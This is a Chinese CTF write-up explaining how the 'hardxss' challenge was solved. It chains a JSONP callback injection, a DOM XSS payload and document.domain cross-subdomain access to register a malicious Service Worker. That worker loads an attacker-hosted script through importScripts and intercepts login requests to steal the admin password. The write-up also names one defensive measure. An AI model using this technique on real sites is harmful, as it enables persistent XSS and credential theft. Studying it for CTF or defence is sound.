从一道CTF学习Service Worker的利用:西湖论剑2020-hardxss
题目初探
- 首先,题目提供了一个在线访问工具,会去访问提交的url。在“联系站长”处有:
嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!,而登陆时,会以GET请求传入用户名和密码:https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=123&adminpwd=123 - 所以本题需要通过XSS拦截并获取登陆时GET请求的密码,然后以admin身份登录,不能通过常规的盗取cookie实现。这就需要Service Worker来操作。
JSONP
- 通过浏览器network工具,可以发现在login处存在一处jsonp:
https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status,网页直接返回了:
|
|
我们访问https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=alert(1);//,返回:
|
|
- 需要注意的是,这个jsonp限制了返回值的长度。
变量覆盖和DOM XSS
- 仔细查看login处的js代码,可以发现一处dom xss:
- 首先,注意到
jsonp函数会创建script标签,并使用https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status处的jsonp,而该jsonp调用的函数由变量callback决定。 - 在
auto_reg_var函数中,通过location.search获取了请求参数,并通过window[key] = value进行了赋值,此处存在变量覆盖漏洞。 - 结合以上的jsonp和login页面的js,此处存在DOM型XSS,我们只需要通过GET请求传入login页面callback参数,此时会覆盖掉原来的callback并调用jsonp,payload:
?callback=alert(1)//。
|
|
虽然找到了一处XSS,但是题目又说明:“我收到邮件后会先点开链接然后登录我的网站!”,而登录的域名是auth.hardxss.xhlj.wetolink.com,登录和打开链接是在不同的域名,并且需要盗取的信息在请求中而不是在cookie中。又注意到,直接访问https://auth.hardxss.xhlj.wetolink.com/,返回的页面源码的js中包含跨域操作:document.domain = "hardxss.xhlj.wetolink.com";, 所以此题需要使XSS跨域持久化,这就涉及到本文的主角:Service Worker,通过它和其他页面的跨域操作可以让XSS持久化。此外,由于需要拦截登陆时的参数,其他方法难以做到拦截请求,而SW可以。
Service Worker
Service Worker简介
- Appcache用来处理网站的离线缓存,可以通过manifest文件指定浏览器缓存哪些文件以供离线访问。但Appcache有相当多的缺陷,对于整站中的多页缓存来说支持比较差,而Service Worker用来作为其替代。
- Service Worker是浏览器在后台运行的脚本,与web页面分离,以更好地支持不需要web页面或用户交互的功能。也可以将其理解为一个介于客户端和服务端之间的代理服务器,拥有拦截请求、修改返回内容的权力。可以用来缓存并处理离线网页(用来XSS)。
- Service Workers 要求必须在 HTTPS 下才能运行。为了便于本地开发,localhost 也被浏览器认为是安全源。
- Service Workers没有访问 DOM 的能力。
注册Service Worker
要使用SW,需要先注册,有两种方法注册SW:1. 通过JS;2. 通过link标签引入外部js
|
|
|
|
- 需要注意的是
navigator.serviceWorker.register中的参数 - 首先,第一个参数(
scriptURL)只能为本站中的JS脚本(并且必须是HTTPS或localhost,且这个脚本的Content-Type必须是text/javascript或者其等价类型); - 第二个参数
scope则限定了Service Worker访问的资源的名称空间(如本例中只能访问/sw-test/的子路径),并且,scope参数不能设置为第一个参数的上层路径(scope范围必须要小于Service Worker脚本本身的路径范围),几个例子:
|
|
构造恶意register
从上文可以看出,Service Worker有诸多限制,所以利用起来也比较局限。 一种利用方式:首先发现本站的jsonp(或者有本站的js文件上传点,但这种情况比较少),以作为sw脚本url源。 接一段lightless师傅的引用:
该接口的路径越浅越好,最好在根目录下。很明显
http://localhost/time.jsonp?callback=要优于http://localhost/a/b/c/time.jsonp?callback=,因为如果后者作为Service Worker的脚本时,scope只能为/a/b/c/下的路径,而前者可以控制整个域下的内容。
有了这个JSONP,使用 importScripts 就可以在SW注册时引入任意https脚本: importScripts('https://my_site.com/my_evil.js');
利用脚本:
|
|
原理:通过监听 fetch 事件,截获用户的请求,篡改返回,向返回的页面上嵌入恶意的JS脚本。
Service Worker有效时间
在每个Service Worker授权24小时后(用PC时钟确定时间),原先的HTTP缓存将被清除。脚本需要被重新注册以正常使用,否则会被摧毁。
利用1:XSS持久化、拓展XSS攻击面
|
|
|
|
|
|
利用2:跨域XSS
- 这便是本题的利用思路了,首先看条件:若另一个页面存在跨域操作(如:
document.domain="xxx.xxx"),则可以跨该域进行XSS。
再引用一段lightless师傅的博客:
假设我们在
A.lightless.me上发现了 XSS,想要横向移动到secret.lightless.me上。当secret.lightless.me上存在跨域行为的时候,例如document.domain = 'lightless.me',我们可以通过 XSS 漏洞嵌入一个iframe标签,以此给secret.lightless.me域下植入Service Worker(前提是secret.lightless.me域下存在一个JSONP或是有可以返回Service Worker脚本的地方)。通过这种方法,即便secret.lightless.me域内没有 XSS,也可以被植入恶意的Service Worker。
理解一下:我们在A.lightless.me上插入一个secret.lightless.me域(secret.lightless.me域下存在跨域行为和JSONP或js文件上传)下的iframe,并通过JSONP为该iframe注册恶意SW,由于该页面跨域了,所以A.lightless.me页面的iframe可以访问其内容,能够成功为secret.lightless.me注册恶意SW。
在本题中,首先诱导受害者访问:
|
|
此处会触发xss.hardxss.xhlj.wetolink.com/login下的DOM XSS,从而引入并执行1.js
|
|
在1.js中,我们首先跨域以访问同样跨域的https://auth.hardxss.xhlj.wetolink.com,这种跨域方法在实际开发中很常见,为了使数据能够跨域传输,开发者常常把两个不同子域的document.domain设置为共同的父域,通过iframe就能跨域操作,但也带来了安全隐患。此时,1.js就可以对https://auth.hardxss.xhlj.wetolink.com进行操作了。然后我们构造一个iframe指向https://auth.hardxss.xhlj.wetolink.com,并在其上注册SW(此处省去了scope参数,使用默认的最大子路径作为参数),此SW使用JSONP与importScripts结合加载2.js作为SW脚本。
|
|
2.js是SW脚本,在2.js中,我们劫持了fetch事件,并将请求传给我们的服务器,从而在管理员登陆时劫持并窃取管理员密码,达到利用目的。拿到密码后,登录网页即可拿到flag。需要注意的一点是,由于JSONP为https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=xxx,我们只能劫持受害者在https://auth.hardxss.xhlj.wetolink.com/api/的子域下的请求;而用户登陆的url为https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=xxx&adminpwd=xxx,恰好在该子域下,所以利用才能成功。可以看出SW的可利用路径是非常苛刻的。
真实情况下的案例:百度漏洞报告:埋雷式攻击,悄无声息获取用户百度登录密码
Service Worker防御措施
当注册SW时,会发出包含 Service-Worker: script http头的请求,可以在服务端拒绝非SW Script却又包含该头的请求以进行防范。
总结
- 让我们梳理一下,考虑一些细节,整道题主要涉及到四个url:
- DOM XSS(https://xss.hardxss.xhlj.wetolink.com/login)
- JSONP(https://auth.hardxss.xhlj.wetolink.com/api/loginStatus)
- 跨域页面(https://auth.hardxss.xhlj.wetolink.com)
- 登录验证api(https://auth.hardxss.xhlj.wetolink.com/api/loginVerify)
最后结合一张networking截图理解:

- 注意到跨域页面上只有一个光秃秃的跨域操作,并没有其他操作,但作为媒介用以设置其子域-登录验证api上的SW脚本(设置脚本时访问的是跨域页面而没有访问劫持页面)
- 利用条件:
1.baidu.com上发现了XSS,2.baidu.com上存在跨域操作:document.domain = 'baidu.com'并且子域下存在JSONP(路径需要跟盗取的信息页面在同一子域)或能够上传js的地方,就可以完成JSONP子域下的持久化XSS劫持。
最后几点:
- JSONP决定了可以盗取的页面子域
- 可以用来劫持请求,并直接盗取请求参数,这是其他XSS不能办到的
- 持久化XSS
- 扩大XSS到SW脚本子域